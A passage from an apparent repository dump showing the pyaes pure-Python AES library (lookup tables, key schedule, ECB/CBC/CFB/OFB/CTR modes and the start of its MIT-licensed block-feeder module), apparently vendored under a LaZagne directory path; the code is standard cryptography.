0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]\n    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]\n    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]\n\n    def __init__(self, key):\n\n        if len(key) not in (16, 24, 32):\n            raise ValueError('Invalid key size')\n\n        rounds = self.number_of_rounds[len(key)]\n\n        # Encryption round keys\n        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]\n\n        # Decryption round keys\n        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]\n\n        round_key_count = (rounds + 1) * 4\n        KC = len(key) // 4\n\n        # Convert the key into ints\n        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]\n\n        # Copy values into round key arrays\n        for i in xrange(0, KC):\n            self._Ke[i // 4][i % 4] = tk[i]\n            self._Kd[rounds - (i // 4)][i % 4] = tk[i]\n\n        # Key expansion (fips-197 section 5.2)\n        rconpointer = 0\n        t = KC\n        while t < round_key_count:\n\n            tt = tk[KC - 1]\n            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^\n                      (self.S[(tt >>  8) & 0xFF] << 16) ^\n                      (self.S[ tt        & 0xFF] <<  8) ^\n                       self.S[(tt >> 24) & 0xFF]        ^\n                      (self.rcon[rconpointer] << 24))\n            rconpointer += 1\n\n            if KC != 8:\n                for i in xrange(1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Key expansion for 256-bit keys is \"slightly different\" (fips-197)\n            else:\n                for i in xrange(1, KC // 2):\n                    tk[i] ^= tk[i - 1]\n                tt = tk[KC // 2 - 1]\n\n                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^\n                               (self.S[(tt >>  8) & 0xFF] <<  8) ^\n                               (self.S[(tt >> 16) & 0xFF] << 16) ^\n                               (self.S[(tt >> 24) & 0xFF] << 24))\n\n                for i in xrange(KC // 2 + 1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Copy values into round key arrays\n            j = 0\n            while j < KC and t < round_key_count:\n                self._Ke[t // 4][t % 4] = tk[j]\n                self._Kd[rounds - (t // 4)][t % 4] = tk[j]\n                j += 1\n                t += 1\n\n        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)\n        for r in xrange(1, rounds):\n            for j in xrange(0, 4):\n                tt = self._Kd[r][j]\n                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^\n                                  self.U2[(tt >> 16) & 0xFF] ^\n                                  self.U3[(tt >>  8) & 0xFF] ^\n                                  self.U4[ tt        & 0xFF])\n\n    def encrypt(self, plaintext):\n        'Encrypt a block of plain text using the AES block cipher.'\n\n        if len(plaintext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Ke) - 1\n        (s1, s2, s3) = [1, 2, 3]\n        a = [0, 0, 0, 0]\n\n        # Convert plaintext to (ints ^ key)\n        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Ke[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Ke[rounds][i]\n            result.append((self.S[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n    def decrypt(self, ciphertext):\n        'Decrypt a block of cipher text using the AES block cipher.'\n\n        if len(ciphertext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Kd) - 1\n        (s1, s2, s3) = [3, 2, 1]\n        a = [0, 0, 0, 0]\n\n        # Convert ciphertext to (ints ^ key)\n        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Kd[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Kd[rounds][i]\n            result.append((self.Si[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n\nclass Counter(object):\n    '''A counter object for the Counter (CTR) mode of operation.\n\n       To create a custom counter, you can usually just override the\n       increment method.'''\n\n    def __init__(self, initial_value = 1):\n\n        # Convert the value into an array of bytes long\n        self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]\n\n    value = property(lambda s: s._counter)\n\n    def increment(self):\n        '''Increment the counter (overflow rolls back to 0).'''\n\n        for i in xrange(len(self._counter) - 1, -1, -1):\n            self._counter[i] += 1\n\n            if self._counter[i] < 256: break\n\n            # Carry the one\n            self._counter[i] = 0\n\n        # Overflow\n        else:\n            self._counter = [ 0 ] * len(self._counter)\n\n\nclass AESBlockModeOfOperation(object):\n    '''Super-class for AES modes of operation that require blocks.'''\n    def __init__(self, key):\n        self._aes = AES(key)\n\n    def decrypt(self, ciphertext):\n        raise Exception('not implemented')\n\n    def encrypt(self, plaintext):\n        raise Exception('not implemented')\n\n\nclass AESStreamModeOfOperation(AESBlockModeOfOperation):\n    '''Super-class for AES modes of operation that are stream-ciphers.'''\n\nclass AESSegmentModeOfOperation(AESStreamModeOfOperation):\n    '''Super-class for AES modes of operation that segment data.'''\n\n    segment_bytes = 16\n\n\n\nclass AESModeOfOperationECB(AESBlockModeOfOperation):\n    '''AES Electronic Codebook Mode of Operation.\n\n       o Block-cipher, so data must be padded to 16 byte boundaries\n\n   Security Notes:\n       o This mode is not recommended\n       o Any two identical blocks produce identical encrypted values,\n         exposing data patterns. (See the image of Tux on wikipedia)\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''\n\n\n    name = \"Electronic Codebook (ECB)\"\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        return _bytes_to_string(self._aes.encrypt(plaintext))\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        ciphertext = _string_to_bytes(ciphertext)\n        return _bytes_to_string(self._aes.decrypt(ciphertext))\n\n\n\nclass AESModeOfOperationCBC(AESBlockModeOfOperation):\n    '''AES Cipher-Block Chaining Mode of Operation.\n\n       o The Initialization Vector (IV)\n       o Block-cipher, so data must be padded to 16 byte boundaries\n       o An incorrect initialization vector will only cause the first\n         block to be corrupt; all other blocks will be intact\n       o A corrupt bit in the cipher text will cause a block to be\n         corrupted, and the next block to be inverted, but all other\n         blocks will be intact.\n\n   Security Notes:\n       o This method (and CTR) ARE recommended.\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''\n\n\n    name = \"Cipher-Block Chaining (CBC)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_cipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n            self._last_cipherblock = _string_to_bytes(iv)\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]\n        self._last_cipherblock = self._aes.encrypt(precipherblock)\n\n        return _bytes_to_string(self._last_cipherblock)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        cipherblock = _string_to_bytes(ciphertext)\n        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]\n        self._last_cipherblock = cipherblock\n\n        return _bytes_to_string(plaintext)\n\n\n\nclass AESModeOfOperationCFB(AESSegmentModeOfOperation):\n    '''AES Cipher Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         but does need to be padded to segment_size\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''\n\n\n    name = \"Cipher Feedback (CFB)\"\n\n    def __init__(self, key, iv, segment_size = 1):\n        if segment_size == 0: segment_size = 1\n\n        if iv is None:\n            self._shift_register = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._shift_register = _string_to_bytes(iv)\n\n        self._segment_bytes = segment_size\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    segment_bytes = property(lambda s: s._segment_bytes)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) % self._segment_bytes != 0:\n            raise ValueError('plaintext block must be a multiple of segment_size')\n\n        plaintext = _string_to_bytes(plaintext)\n\n        # Break block into segments\n        encrypted = [ ]\n        for i in xrange(0, len(plaintext), self._segment_bytes):\n            plaintext_segment = plaintext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]\n            cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            encrypted.extend(cipher_segment)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) % self._segment_bytes != 0:\n            raise ValueError('ciphertext block must be a multiple of segment_size')\n\n        ciphertext = _string_to_bytes(ciphertext)\n\n        # Break block into segments\n        decrypted = [ ]\n        for i in xrange(0, len(ciphertext), self._segment_bytes):\n            cipher_segment = ciphertext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]\n            plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            decrypted.extend(plaintext_segment)\n\n        return _bytes_to_string(decrypted)\n\n\n\nclass AESModeOfOperationOFB(AESStreamModeOfOperation):\n    '''AES Output Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o A bit twiddled in the cipher text, twiddles the same bit in the\n         same bit in the plain text, which can be useful for error\n         correction techniques.\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''\n\n\n    name = \"Output Feedback (OFB)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_precipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._last_precipherblock = _string_to_bytes(iv)\n\n        self._remaining_block = [ ]\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        encrypted = [ ]\n        for p in _string_to_bytes(plaintext):\n            if len(self._remaining_block) == 0:\n                self._remaining_block = self._aes.encrypt(self._last_precipherblock)\n                self._last_precipherblock = [ ]\n            precipherbyte = self._remaining_block.pop(0)\n            self._last_precipherblock.append(precipherbyte)\n            cipherbyte = p ^ precipherbyte\n            encrypted.append(cipherbyte)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        # AES-OFB is symetric\n        return self.encrypt(ciphertext)\n\n\n\nclass AESModeOfOperationCTR(AESStreamModeOfOperation):\n    '''AES Counter Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o The counter must be the same size as the key size (ie. len(key))\n       o Each block independant of the other, so a corrupt byte will not\n         damage future blocks.\n       o Each block has a uniue counter value associated with it, which\n         contributes to the encrypted value, so no data patterns are\n         leaked.\n       o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and\n         Segmented Integer Counter (SIC\n\n   Security Notes:\n       o This method (and CBC) ARE recommended.\n       o Each message block is associated with a counter value which must be\n         unique for ALL messages with the same key. Otherwise security may be\n         compromised.\n\n    Also see:\n\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5\n         and Appendix B for managing the initial counter'''\n\n\n    name = \"Counter (CTR)\"\n\n    def __init__(self, key, counter = None):\n        AESBlockModeOfOperation.__init__(self, key)\n\n        if counter is None:\n            counter = Counter()\n\n        self._counter = counter\n        self._remaining_counter = [ ]\n\n    def encrypt(self, plaintext):\n        while len(self._remaining_counter) < len(plaintext):\n            self._remaining_counter += self._aes.encrypt(self._counter.value)\n            self._counter.increment()\n\n        plaintext = _string_to_bytes(plaintext)\n\n        encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]\n        self._remaining_counter = self._remaining_counter[len(encrypted):]\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, crypttext):\n        # AES-CTR is symetric\n        return self.encrypt(crypttext)\n\n\n# Simple lookup table for each mode\nAESModesOfOperation = dict(\n    ctr = AESModeOfOperationCTR,\n    cbc = AESModeOfOperationCBC,\n    cfb = AESModeOfOperationCFB,\n    ecb = AESModeOfOperationECB,\n    ofb = AESModeOfOperationOFB,\n)\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/pyaes/blockfeeder.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\nfrom .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation\nfrom .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable\n\n\n# First we inject three functions to each of the modes of operations\n#\n#    _can_consume(size)\n#       - Given a size, determine how many bytes could be consumed in\n#         a single call to either the decrypt or encrypt method\n#\n#    _final_encrypt(data, padding = PADDING_DEFAULT)\n#       - call and return encrypt on this (last) chunk of data,\n#         padding as necessary; this will always be at least 16\n#         bytes unless the total incoming input was less than 16\n#         bytes\n#\n#    _final_decrypt(data, padding = PADDING_DEFAULT)\n#       - same as _final_encrypt except for decrypt, for\n#         stripping off padding\n#\n\nPADDING_NONE       = 'none'\nPADDING_DEFAULT    = 'default'\n\n# @TODO: Ciphertext stealing and explicit PKCS#7\n# PADDING_CIPHERTEXT_STEALING\n# PADDING_PKCS7\n\n# ECB and CBC are block-only ciphers\n\ndef _block_can_consume(self, size):\n    if size >= 16: return 16\n    return 0\n\n# After padding, we may have more than one block\ndef _block_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        data = append_PKCS7_padding(data)\n\n    elif padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n    else:\n        raise Exception('invalid padding option')\n\n    if len(data) == 32:\n        return self.encrypt(data[:16]) + self.encrypt(data[16:])\n\n    return self.encrypt(data)\n\n\ndef _block_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        return strip_PKCS7_padding(self.decrypt(data))\n\n    if padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n        return self.decrypt(data)\n\n    raise Exception('invalid padding option')\n\nAESBlockModeOfOperation._can_consume = _block_can_consume\nAESBlockModeOfOperation._final_encrypt = _block_final_encrypt\nAESBlockModeOfOperation._final_decrypt = _block_final_decrypt\n\n\n\n# CFB is a segment cipher\n\ndef _segment_can_consume(self, size):\n    return self.segment_bytes * int(size // self.segment_bytes)\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.encrypt(padded)[:len(data)]\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.decrypt(padded)[:len(data)]\n\nAESSegmentModeOfOperation._can_consume = _segment_can_consume\nAESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt\nAESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt\n\n\n\n# OFB and CTR are stream ciphers\n\ndef _stream_can_consume(self, size):\n    return size\n\ndef _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.encrypt(data)\n\ndef _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.decrypt(data)\n\nAESStreamModeOfOperation._can_consume = _stream_can_consume\nAESStreamModeOfOperation._final_encrypt = _stream_final_encrypt\nAESStreamModeOfOperation._final_decrypt = _stream_final_decrypt\n\n\n\nclass BlockFeeder(object):\n    '''The super-class for objects to handle 